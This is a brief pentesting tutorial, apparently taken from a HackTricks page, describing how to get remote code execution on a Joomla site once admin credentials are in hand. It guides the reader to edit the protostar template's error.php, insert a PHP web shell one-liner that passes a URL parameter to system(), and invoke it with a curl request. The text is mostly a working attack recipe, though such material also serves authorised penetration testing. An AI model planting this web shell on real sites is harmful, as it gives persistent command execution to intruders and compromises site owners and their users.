Joomla
Last updated
Last updated
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/joomla
If you managed to get admin credentials you can RCE inside of it by adding a snippet of PHP code to gain RCE. We can do this by customizing a template.
Click on Templates
on the bottom left under Configuration
to pull up the templates menu.
Click on a template name. Let's choose protostar
under the Template
column header. This will bring us to the Templates: Customise
page.
Finally, you can click on a page to pull up the page source. Let's choose the error.php
page. We'll add a PHP one-liner to gain code execution as follows:
system($_GET['cmd']);
Save & Close
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id